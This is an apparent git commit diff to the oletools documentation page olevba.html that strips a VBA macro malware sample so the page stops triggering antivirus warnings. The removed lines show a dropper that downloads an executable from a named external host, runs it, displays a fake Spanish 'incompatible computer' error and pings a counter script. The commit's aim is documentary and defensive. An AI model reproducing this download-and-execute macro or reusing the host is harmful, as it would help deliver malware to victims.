Commit 7c2a7d8120c612192a7331b87ac4bb200315cf57
1 parent
4991f1ae
doc: fixed olevba.html (removed malicious code to avoid AV warnings)
Showing
1 changed file
with
2 additions
and
22 deletions
oletools/doc/olevba.html
| @@ -165,33 +165,13 @@ End Sub | @@ -165,33 +165,13 @@ End Sub | ||
| 165 | 165 | ||
| 166 | Public Sub SNVJYQ() | 166 | Public Sub SNVJYQ() |
| 167 | 167 | ||
| 168 | - OGEXYR "http://germanya.com.ec/logs/test.exe", Environ("TMP") & "\sfjozjero. | ||
| 169 | - | ||
| 170 | -exe" | 168 | + [Malicious Code...] |
| 171 | 169 | ||
| 172 | End Sub | 170 | End Sub |
| 173 | 171 | ||
| 174 | Function OGEXYR(XSTAHU As String, PHHWIV As String) As Boolean | 172 | Function OGEXYR(XSTAHU As String, PHHWIV As String) As Boolean |
| 175 | 173 | ||
| 176 | - Dim HRKUYU, lala As Long | ||
| 177 | - | ||
| 178 | - HRKUYU = URLDownloadToFileA(0, XSTAHU, PHHWIV, 0, 0) | ||
| 179 | - | ||
| 180 | - If HRKUYU = 0 Then OGEXYR = True | ||
| 181 | - | ||
| 182 | - Dim YKPZZS | ||
| 183 | - | ||
| 184 | - YKPZZS = Shell(PHHWIV, 1) | ||
| 185 | - | ||
| 186 | - MsgBox "El contenido de este documento no es compatible con este equipo." & | ||
| 187 | - | ||
| 188 | -vbCrLf & vbCrLf & "Por favor intente desde otro equipo.", vbCritical, "Equipo no | ||
| 189 | - | ||
| 190 | - compatible" | ||
| 191 | - | ||
| 192 | - lala = URLDownloadToFileA(0, "http://germanya.com.ec/logs/counter.php", Envi | ||
| 193 | - | ||
| 194 | -ron("TMP") & "\lkjljlljk", 0, 0) | 174 | + [Malicious Code...] |
| 195 | 175 | ||
| 196 | Application.DisplayAlerts = False | 176 | Application.DisplayAlerts = False |
| 197 | 177 |